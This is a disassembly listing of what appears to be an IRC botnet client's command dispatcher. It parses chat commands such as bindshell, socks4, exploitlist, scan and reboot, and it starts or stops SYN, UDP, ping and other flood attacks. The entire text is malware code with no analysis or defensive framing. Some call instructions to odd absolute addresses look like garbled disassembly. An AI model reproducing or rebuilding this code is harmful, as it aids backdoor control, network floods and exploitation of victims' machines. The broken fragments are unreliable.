loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C8DC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE28
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8C0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8A0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42C864
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C820


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7F8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_42C7C0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C75C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429230, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D130


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429230
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA30 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D148[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D130[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C718 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA2C ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA2C ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C66C


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C644
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C628
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C60C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C5F8
		push	offset dword_42C5EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C5CC
		push	offset dword_42C5BC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C44C
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C404
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C390
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C370
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2AC
		jnz	short loc_403191
		mov	eax, offset unk_42C284


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
